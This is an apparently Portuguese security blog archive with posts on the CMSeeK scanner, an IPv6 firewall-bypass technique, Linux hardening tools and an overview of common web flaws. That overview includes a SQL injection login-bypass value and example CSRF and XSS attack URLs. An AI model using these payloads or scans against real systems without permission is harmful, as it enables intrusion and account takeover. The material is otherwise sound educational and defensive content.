sábado, 21 de julho de 2018

DETECTANDO E EXPLORANDO CMS

E ae galera, trago hoje pra vocês uma ferramenta de detecção e exploração de CMS (Content Management System: Sistemas de Gerenciamento de Conteúdo), chamada CMSeek.


Sobre o sistema
Um sistema de gerenciamento de conteúdo (CMS) gerencia a criação e modificação de conteúdo digital. Geralmente, ele suporta vários usuários em um ambiente colaborativo. Alguns exemplos ​​são: WordPress, Joomla, Drupal etc.
Funções do CMSeek
Detecção básica de CMS de mais de 20 CMS
Verificações avançadas no Wordpress:
  • Detecta a versão
  • Enumeração do Usuário
  • Enumeração de Plugins
  • Enumeração de Tema
  • Detecta Usuários (3 Métodos de Detecção)
  • Procura vulnerabilidades de versão e muito mais!
Varreduras Avançadas do Joomla:
  • Detecção de versão
  • Localizador de arquivos de backup
  • Localizador de páginas do administrador
  • Detecção de vulnerabilidade principal
  • Lista de listagem de diretórios
  • Detecção de vazamento de configuração
  • Vários outros cheques

Requisitos e Compatibilidade
Python3
Git
Instalação e uso
É bastante fácil usar o CMSeeK, apenas certifique-se de ter o python3 e o git (apenas para clonagem do repo) instalados e use os seguintes comandos:
git clone https://github.com/Tuhinshubhra/CMSeeK
cd CMSeeK

python3 cmseek.py
ou
python3 cmseek.py -u <target_url> [...]
Métodos de detecção
O CMSeek usa principalmente duas coisas para detecção:
HTTP Headers
Page Source Code
CMSs suportados
CMSeeK atualmente pode detectar 22 CMSs, você pode encontrar a lista no arquivo cmss.py que está presente no diretório cmseekdb. Todos os cmss são armazenados da seguinte maneira:
 cmsID = {
   'name':'Name Of CMS',
   'url':'Official URL of the CMS',
   'vd':'Version Detection (0 for no, 1 for yes)',
   'deeps':'Deep Scan (0 for no 1 for yes)'
 }
Resultado do scaneamento
Todos os seus resultados de varredura são armazenados em um arquivo json chamado cms.json, você pode encontrar os logs dentro do diretório Result\<Target Site> e, a partir dos resultados de bruteforce, eles são armazenados em um arquivo txt no diretório de resultados do site também. Aqui está um exemplo do log de relatório do json:


Screenshots





Link: https://github.com/Tuhinshubhra/CMSeeK

quarta-feira, 18 de julho de 2018

BYPASS UTILIZANDO IPV6

E ae galera, traduzi esse artigo muito interessante para vocês. No final do artigo esta os links originais :).

No artigo, um invasor pode usar o IPv6 para contornar as proteções de segurança existentes no iPv4, mas não no IPv6. O número de portas abertas nos endereços IPv6 e IPv4 no mesmo host é diferente.

Abaixo está um passo a passo de como realizar a técnica:
  1. Envia uma solicitação de echo ICMP (ping6 ff02 :: 1% eth0) para o endereço de broadcast (ff02 :: 1), todos os hosts IPv6 na rede local responderão.
  2. Envia uma solicitação ARP para todos os hosts IPv4 na rede local.
  3. Executa uma verificação de porta de todos os hosts IPv4 e IPv6 que estão ativos na rede local.
  4. Corresponde o endereço IPv6 ao endereço IPv4 com base nas informações do endereço MAC.
  5. Verifica se a varredura no endereço IPv6 no host retorna mais portas abertas que o endereço IPv4 no mesmo host e gera a diferença nas portas (se houver).

Foi escrito um script simples para automatizar essas etapas.

Abaixo está print da ferramenta em execução:

Na captura de tela abaixo (nas últimas linhas), as portas TCP 22, 111 e 8080 eram acessíveis na interface IPv6 do host (10.5.192.48 | fe80 :: 250: 56ff: fe97: 7a3b), mas não na interface IPv4.
O próximo passo seria mostrar os serviços em execução na interface IPv6, testar contas padrão ou fracas (SSH), procurar vulnerabilidades e assim por diante.


Link da ferramenta: https://github.com/milo2012/ipv4Bypass

Abaixo estão alguns artigos originais e relacionados:
https://www.trustwave.com/Resources/SpiderLabs-Blog/Using-IPv6-to-Bypass-Security/
https://www.darkreading.com/vulnerabilities—threats/weaponizing-ipv6-to-bypass-ipv4-security-/a/d-id/1331993
https://milo2012.wordpress.com/2018/06/22/using-ipv6-to-bypass-security-tool/

sábado, 14 de julho de 2018

SISTEMAS EMBARCADOS

E ae galera, hoje iremos falar sobre sistemas embarcados.

Um sistema embarcado é um sistema microprocessador no qual o computador é completamente encapsulado ou dedicado ao dispositivo ou sistema que ele controla. Diferentemente de computadores de propósito geral, como o computador pessoal, um sistema embarcado realiza um conjunto de tarefas predefinidas, geralmente com requisitos específicos. Já que o sistema é dedicado a tarefas específicas, através de engenharia pode-se otimizar o projeto reduzindo tamanho, recursos computacionais e custo do produto.

EXEMPLOS

Arduino Mega 2560
A placa Arduino Mega 2560 é mais uma placa da plataforma Arduino que possui recursos bem interessantes para prototipagem e projetos mais elaborados. Baseada no microcontrolador ATmega2560, possui 54 pinos de entradas e saídas digitais onde 15 destes podem ser utilizados como saídas PWM. Possui 16 entradas analógicas, 4 portas de comunicação serial. Além da quantidade de pinos, ela conta com maior quantidade de memória que Arduino UNO, sendo uma ótima opção para projetos que necessitem de muitos pinos de entradas e saídas além de memória de programa com maior capacidade.

Arduino Mega 2560

https://www.embarcados.com.br/arduino-mega-2560/


ESP8266 NodeMCU
O módulo Wifi ESP8266 NodeMCU ESP-12E  é uma das placas mais interessantes da família ESP8266, já que pode ser facilmente ligada à um computador e programada com a linguagem Lua e também utilizando a IDE do Arduino. Essa placa possui 10 pinos GPIO (entrada/saída), suportando funções como PWM, I2C e 1-wire. Tem antena embutida, conversor USB-TLL integrado e o seu formato é ideal para ambientes de prototipação, encaixando facilmente em uma protoboard.

Resultado de imagem para ESP8266 NodeMCU

https://www.filipeflop.com/blog/esp8266-nodemcu-como-programar/


Tiva-C
Tiva-C Launchpads é uma plataforma de prototipagem eletrônica de microcontroladores, são equipados com 40 ou 80 pinos que têm multifunções, ou seja, podem ser configurados como entradas ou saídas, digitais ou analógicas ou outras funções, permitindo uma grande variedade de aplicações. Seus pinos possui o padrão de 3,3 V.

Resultado de imagem para Tiva-C
 
https://pt.wikipedia.org/wiki/Tiva-C

Processamentos
Em geral os sistemas embarcados possuem uma capacidade de processamento reduzida em comparação com computadores desktops. Ao invés de utilizar microprocessadores, os desenvolvedores preferem utilizar microcontroladores, pois estes já possuem diversos periféricos integrados no mesmo chip.

Outra diferença é a variedade de arquiteturas disponíveis tais como ARM, MIPS, Coldfire/68k, PowerPC, x86, PIC, 8051, Atmel AVR, Renesas H8, SH, V850, FR-V, M32R, Z80 e Z8. Isso contrasta com o mercado de computadores pessoais, limitados à somente algumas arquiteturas.
 
Periféricos
Os sistemas embarcados comunicam-se com o meio externo através de periféricos. Estes periféricos podem ser combinados com o processador (como no caso dos sistemas microcontrolados) ou associados no sistema.
Entre os periféricos mais comum temos:

  • Entrada de dados através de teclas (geralmente através de teclados feitos com varredura matricial)
  • Leds
  • Display's de LCD (sendo os mais comuns os alfanuméricos por exemplo o HD44780)
  • Interface serial - (Por exemplo RS 232, I2C)
  • Universal Serial Bus - (USB)
  • TCP/IP

Sites que eu recomendo para leitura:
embarcados.com.br
robocore.net
filipeflop.com
eletronicaprogressiva.net

Onde comprar: 
EMBARCADOS - AMAZON

sexta-feira, 13 de julho de 2018

DICAS DE SEGURANÇA EM SERVIDORES LINUX

E ae galera, hoje irei dar algumas dicas de segurança em servidores Linux.

Firewall -  CSF
Já postei aqui no blog sobre esse incrível firewall.

Resumo: conjunto de regras e diretrizes de segurança, trabalhando a nível de software, e tem como objetivo controlar a entrada e saída de IPs de diferentes localidades, a fim de proteger o servidor e os clientes que nele estão de tentativas de explorar vulnerabilidades, portas ou ataques.
0x7331.blogspot.com/2018/07/firewall-csf.html

Logcheck
Ler logs, apesar de ser imprescindível para qualquer administrador de sistema, também é uma tarefa chata e demorada. O Linux, “grava” todos os passos do sistema (até os que ele deixou de dar) nos diversos arquivos de log.

Para facilitar nossa vida, vamos conhecer o Logcheck. 

O Logcheck é um utilitário simples, que é projetado para que um administrador de sistema possa ler os arquivos de log que são gerados por sua máquina ou servidor. Ele faz isso enviando resumos dos arquivos de log por email.
http://logcheck.org

Fail2Ban
O aplicativo fail2ban, é um agente que monitora os logs, e verifica a quantidade de tentativas de conexão sem sucesso, bloqueando o IP suspeito, após determinado número de insucessos.

O fail2ban pode monitorar a tentativa de login nos serviços ssh, pam, xinetd, apache, vsftpd, proftpd, wuftpd, postfix, couriersmtp, courierauth, sasl e named, e em uma ação pró-ativa bloquear o possível ataque, adicionando uma regra no firewall.

O fail2ban é eficaz em parar ataques de força bruta (brute force), que são comum a hosts conectados à Internet, de maneira elegante, confiável e funcional, sem causar prejuízos aos usuários autênticos dos sistemas e serviços oferecidos. 
www.fail2ban.org
rkhunter
Rootkits são ferramentas utilizadas, geralmente, com o objetivo de ocultar a presença de invasores nas máquinas. Com essas ferramentas alguém não-autorizado, mas que já conseguiu entrar na máquina, pode ter controle sobre a máquina e nem ser notado.

Muitos rootkits acompanham uma gama de binários (como o ls, ps, who, find etc) modificados para que os processos rodados pelo invasor não possam ser vistos pelo administrador da máquina. Além disso, muitos vírus atuais utilizam rootkits.

Existem dois aplicativos que podem te ajudar a detectar rootkits no seu sistema:
rkhunter
chkrootkit

ModSecurity
O Mod Security é um Web Application Firewall que atua na camada 7 do modelo OSI e tem por objetivo bloquear diversos tipos de ataques, como o Cross-Site Scripting (XSS), SQL Injection, Command Injection, ASP e PHP Injection, Trojans & Backdoors Detection, dentre outros, que variam de acordo com as regras existentes, ele filtra todas as requisições e respostas entre o servidor Web e o cliente fazendo a checagem das regras que estão em vigor. Atualmente é suportado pelo Apache, IIS7 e Nginx.
https://www.modsecurity.org/
MRTG
O MRTG é um pacote escrito em PERL e faz a coleta de dados via SNMP. Por isso, o equipamento a ser monitorado precisa oferecer suporte a este protocolo.

Apesar de ser possível utilizar-se do MRTG para monitoração de qualquer equipamento que suporte o protocolo SNMP, este artigo visa a monitoração de equipamentos de rede, ou seja, basicamente switches e roteadores.
https://blogwikinerds.wordpress.com/2014/12/13/instalando-o-mrtg/
SSH Keys
Key Pair, ou SSH Keys ou ainda Chave Pública consiste em duas chaves uma pública que deve ser instalada no servidor remoto, e a outra chave privada que fica salva no seu computador, as duas juntas permitem que você conecte de forma segura a um servidor remoto usando o protocolo SSH ou SFTP.
https://adrianorosa.com/blog/seguranca/como-criar-ssh-key-pair-unix.html

terça-feira, 10 de julho de 2018

FIREWALL - CSF

E ae galera, hoje irei apresentar a vocês o firewall CSF.

O que é CSF?
CSF (ConfigServer Security and Firewall) é um conjunto de soluções que, se implementadas, podem trazer segurança e um maior controle a nível de gerenciamento de recursos do seu servidor. Atualmente a plataforma pode ser instalada em diversas distros distintas (inclusive o CloudLinux), além de suportar plataformas virtualizadas.

Como se trata de um conjunto de diretivas de segurança e configurações de scripts, não há cobrança pela solução, sendo portanto freeware e opensource, uma vez que os códigos podem ser manipulados pelo administrador do servidor.

Instalação
Basta executar o comando abaixo:
cd /usr/local/src; wget http://www.configserver.com/free/csf.tgz; tar -xzf csf.tgz; cd csf; sh install.cpanel.sh

Configuração
Acesse o arquivo “/etc/csf/csf.conf” com o seu editor de texto e altere o valor da linha “TESTING“. Mude de 1 para 0.

As portas abertas por padrão são as seguintes:
TCP_IN = "20,21,22,25,53,80,110,143,443,465,587,993,995"
TCP_OUT = "20,21,22,25,53,80,110,113,443"
UDP_IN = "20,21,53"
UDP_OUT = "20,21,53,113,123"
Você pode abrir ou fechar qualquer porta no arquivo /etc/csf/csf.conf procurando pelas linhas acima.

E por fim, execute o seguinte comando:
csf -u; csf -r

Alguns comandos de utilização
  • csf -g (IP) > Verifica se o IP pesquisado está bloqueado
  • csf -a (IP) “Motivo – Seu Nome” > Adiciona um IP na lista de permissões do servidor. Use com cautela e libere apenas IPs fixos
  • csf -d (IP) “Motivo – Seu Nome” > Bloqueia o IP no firewall e adicionar o comentário no arquivo /etc/csf/csf.deny
  • csf -tr (IP) > Remove o bloqueio temporário de um IP
  • csf -dr (IP) > Remove o bloqueio definitivo de um IP
  • grep IP /var/log/lfd.log > Verifica o motivo de um bloqueio temporário
  • csf -r > reinicia o CSF
  • csf -x > desativa o CSF
  • csf -e > ativa o CSF

Para mais detalhes:
https://configserver.com/cp/csf.html

Material retirado dos sites:
hostdime.com.br
brasilcloud.com.br

sábado, 7 de julho de 2018

INTRODUÇÃO AO BUG BOUNTY

E ae galera, hoje irei dar algumas dicas de como entrar nessa área de bug bounty.

Comece a ler
Existem alguns livros que você pode comprar para ajudá-lo a aprender o básico e essencial de pentest.
Introdução ao Pentest
Pentest em aplicações web
Black Hat Python
Extra: https://www.owasp.org/index.php/Top_10-2017_Top_10

Pratique o que você esta aprendendo
Enquanto você aprende, é importante ter certeza de que você também está entendendo o que aprende. Praticar em aplicativos e sistemas vulneráveis é uma ótima maneira de testar suas habilidades em ambientes simulados. Isso lhe dará uma ideia do que você enfrentará no mundo real.
Hacksplaining
Penetration Testing Practice Labs

Leia as anotações técnicas e os POCs (Proof of Concepts) de outros hackers e assista aos tutoriais no YouTube!
Agora que você tem uma compreensão básica sobre como encontrar e explorar vulnerabilidades de segurança, é hora de começar a conferir o que outros hackers estão enfrentando. Por sorte, a comunidade de segurança é bastante generosa em compartilhar conhecimento.
Bug Bounty write-ups and POCs
Bug Hunting Tutorials
/r/Netsec on Reddit
JackkTutorials on YouTube
DEFCON Conference videos on YouTube
Hak5 on YouTube
Awesome-Infosec

Reúna seu arsenal de ferramentas
Ferramentas não te transformam em hacker, mas certamente são úteis! O Bugcrowd selecionou uma extensa lista de ferramentas:
 
Comece a aprender sobre bug bounties
Ok, agora você está no ponto em que está quase na hora de começar a procurar recompensas. Mas primeiro, vamos aprender como as recompensas de bugs funcionam e como começar.
How to approach a target
How to Report a Bug
Bug Bounty Disclosure Policy

Seja hacker! 
É hora de começar a hackear! Quando você é novo e está começando, é melhor não tentar invadir as recompensas de bugs mais populares por aí. Tentar hackear Tesla Motors, Facebook, Pinterest e outros provavelmente terminará em frustração para iniciantes, já que essas empresas são muito populares e são mais seguras porque recebem muitos relatórios de bugs.
Go for the Kudos only programs
Em vez disso, concentre-se em recompensas de bugs que provavelmente foram dispensadas por outros. Geralmente, esses são bounties de bugs que não pagam recompensas, mas oferecem pontos de elogios no Bugcrowd. Estes programas "kudos points only" são uma maneira fantástica de começar e mostrar suas habilidades para o Bugcrowd. Depois de enviar alguns bugs para o Bugcrowd, mesmo que sejam apenas pontos de recompensas, provavelmente você começará a receber convites para programas de recompensas privados. Os programas de recompensas privadas são apenas para convidados e restritos a um pequeno número de pessoas, o que significa menos concorrência e uma maior probabilidade de encontrar um bug. 

Considerações finais
O hacking é uma jornada de aprendizagem ao longo da vida. Isto é o que torna esta área tão incrível! Há sempre novos artigos e palestras para aprender. Aqui estão algumas conferencias / eventos de 2018:
facebook.com/groups/fsocietybrasil/permalink/1804942113146216/ 

quinta-feira, 5 de julho de 2018

FALHAS EM APLICAÇÕES WEB

E ae galera, resolvi trazer pra vocês as principais falhas em aplicações web.

Injeção
As falhas de injeção, como SQL, OS, XXE e LDAP, ocorrem quando dados não confiáveis são enviados para um intérprete como parte de um comando ou consulta. Por exemplo, na tela de administração do seu sistema, você tem que digitar um usuário e senha para acessar, por trás desse formulário de acesso, o seu sistema normalmente realiza uma consulta ao banco de dados, para verificar se o usuário existe e a senha digitada está correta, o comando para a execução é basicamente o seguinte:
SELECT id FROM USUARIOS WHERE usuário = ‘textoDigitado’ && senha = ‘textoDigitado2’
Esse código seleciona o número de identificação do usuário, que tem o mesmo nome e senha digitado no formulário, retornando o resultado ele libera o acesso ao sistema, o grande problema é que utilizando injeção, poderíamos no textoDigitado informar o seguinte:
‘ OR 1=1
Que ao ser processado pelo sistema, iria influenciar diretamente no contexto, agora o sistema verifica se o usuário é igual a vazio ou 1 é igual a 1, caso verdadeiro, ele pega o primeiro usuário do sistema e libera o acesso.

Gerenciamento de sessão e quebras de autenticação
Um dos pontos principais de uma aplicação é como ela lida com a sessão e a autenticação do usuário, explicando um pouco o funcionamento, o seu formulário de acesso verifica se os dados estão corretos e cria uma sessão, informando que o seu acesso foi autorizado, se essa função for implementada de maneira incorreta, pode permitir que invasores comprometam senhas, chaves ou tokens de sessão, e até mesmo explorem falhas de implementação para assumir identidades de outros usuários no sistema.
Por exemplo, se no seu formulário de acesso, é adicionado o código do usuário através do método POST (método padrão de envio de formulário), pode ser utilizado o Tamper Data ou outro aplicativo similar para realizar a manipulação da informação que será inserida na seção, nesse ponto ao invés de inserir o código do usuário “João” na sessão, podemos alterar e passar o código do usuário “José”.

Cross-Site Scripting (XSS)
Uma falha XSS ocorre sempre que um aplicativo inclui dados não confiáveis em uma nova página da web sem validar ou escapar adequadamente. O XSS permite que os invasores executem scripts no navegador da vítima, por sua vez, esses scripts podem redirecionar a vítima para um site malicioso ou até mesmo sequestrar sessões de usuários.

Por exemplo, se você tem uma conta no banco Digital30 que utiliza o método GET para realizar transferências sem proteção contra CSRF (8), e você acessa o blog do “João”, e o blog tem uma falha de XSS que permitiu um invasor inserir um código malicioso na área de comentários, não havia nenhum filtro de código no comentário, agora todos que acessam a página de comentários têm um script executado no computador. Esse script em específico acessa a página digital30.com/transfer.php?value=500&to=0200, como você estava autenticado no banco, ao acessar o blog, a falha fez com que executasse uma ação dentro do banco, que transferiu R$ 500,00 para a conta 0200.

Quebras no controle de acesso
Uma aplicação normalmente atua com sistema de permissões, que define o que cada usuário pode fazer no sistema, outro ponto é que as páginas do seu sistema precisam que o usuário esteja autenticado para serem acessadas, no entanto, essa vulnerabilidade ocorre quando essa verificação ou não foi feita da maneira correta, ou simplesmente não foi feita.

Por exemplo, dentro de um sistema, se o desenvolvedor se esquecer de verificar na página de cadastro de usuários se o usuário atual está autenticado, é possível que um invasor utilize essa falha para acessar a página diretamente através de scripts de força bruta, que testa várias possibilidades, como por exemplo seusite.com.br/a, seusite.com.br/aa, até testar todas as possibilidades, caso durante esse teste o invasor encontre a página seusite.com.br/usuarios/cadastro e a mesma não tiver uma verificação de autenticação, mesmo sem ter um usuário e senha do sistema é possível cadastrar um usuário e obter acesso total.

Configuração incorreta de segurança
A segurança da informação vai muito além de um script bem configurado, precisamos ter um conceito de segurança amplamente aplicado, com uma configuração de segurança bem definida e implantada para o servidor web, servidor de banco de dados, plataforma e etc. Como citamos no início do artigo, precisamos manter as aplicações do nosso servidor atualizadas, para que vulnerabilidades de terceiros, já descobertas e corrigidas não possam prejudicar a segurança do nosso servidor, a padronização e normatização dos modelos de segurança do negócio, alinhados a políticas rigorosas de segurança são fundamentais para a continuidade do negócio.

Por exemplo, se você tem um código robusto, amplamente testado, mas hospeda-o em um serviço de hospedagem de baixa qualidade, aonde sua aplicação não tem nenhum tipo de proteção contra ataques de negação de serviço, um atacante mal intencionado pode colocar o seu sistema fora do ar por tempo indeterminado, através de ataques, trazendo um prejuízo enorme para o seu negócio.

Exposição de dados sensíveis
Muitas aplicações web não protegem de forma adequada os dados confidenciais, como dados financeiros. Os atacantes podem roubar ou modificar esses dados deficientemente protegidos, para conduzir fraudes em cartões de créditos, roubar identidades ou outros crimes. Dados sensíveis devem possuir uma proteção extra, como uma criptografia.

Por exemplo, se você está dentro de um restaurante utilizando um sistema de pagamentos que não possui criptografia (HTTPS), e digitou as informações do seu cartão de crédito para realizar uma compra, um atacante mal intencionado, utilizando aplicações de análise de tráfego pode capturar as informações, outro ponto bastante comum é que um invasor obtendo acesso ao mesmo sistema, pode obter todas as informações dos cartões de créditos já utilizados no sistema, caso não possua um tipo de criptografia.

Proteção de ataque insuficiente
A maioria dos aplicativos não possui capacidade básica para detectar, prevenir e responder a ataques manuais e automatizados. A proteção de ataques vai muito além da validação de entrada básica e envolve a detecção, resposta e até bloqueio de tentativa de exploração.
 
Cross-Site Request Forgery (CSRF)
Um ataque CSRF força o navegador da vítima autenticada a enviar uma solicitação forjada para uma aplicação vulnerável, dessa forma a aplicação vulnerável pensa ser solicitações legítimas da vítima.

Por exemplo, o invasor pode colocar dentro do site isca, um script que simula o acesso ao link meusite.com.br/conta/alterar/senha?novasenha=123456, caso o usuário esteja autenticado no site alvo(meusite.com.br) a sua senha será alterada para 123456, apenas por acessar o site do invasor. Ou seja, ao acessar outro site é possível que ele execute ações no site vulnerável sem o teu consentimento, também é comum a utilização dessa falha enviando o link encurtado (goo.gl,  bit.ly), que executa a ação para a vítima, sendo assim, ao clicar a ação é executada e algumas vezes a vítima nem percebe o golpe.

Utilizar componentes com vulnerabilidades conhecidas 
Aplicativos, APIs, bibliotecas, frameworks e outros módulos de softwares possuem vulnerabilidades, como eles são executados com os mesmos privilégios que a aplicação, se um componente vulnerável for explorado, toda a aplicação pode ser colocada em risco. Por isso é fundamental que seja documentado todos os módulos de terceiros utilizados no projeto e que seja acompanhado a atualização desses projetos, para que a aplicação tenha sempre a versão mais atual dos módulos de terceiros, para aumentar ao máximo o nível da segurança do mesmo.

Por exemplo, uma aplicação que utiliza o plug-in ComentsEasy, pode estar vulnerável a injeção, caso o ComentsEasy não trate esse item, ou seja, é possível que exista vulnerabilidades, por isso é fundamental verificar a real necessidade de utilizar módulos de terceiros, e quando for utilizar, acompanhar as atualizações para que não utilize versões desatualizadas e com falhas conhecidas.

APIs desprotegidas
Aplicações modernas geralmente utilizam APIs, por exemplo, aplicativos móveis se comunicam com APIs (SOAP, XML, Rest, JSON e afins), para realizar consultas e demais transações com o banco de dados, esse tipo de prática é recomendado, pois adiciona um nível extra de proteção na comunicação. O grande problema é quando essas APIs são desprotegidas ou contém várias vulnerabilidades.

Por exemplo, uma API de consulta ao banco de dados de um sistema financeiro, caso não esteja protegida, pode ser acessada diretamente e liberar a consulta de dados sigilosos a qualquer pessoa, mesmo que não esteja utilizando a aplicação.


Artigo retirado do site: inovedados.com.br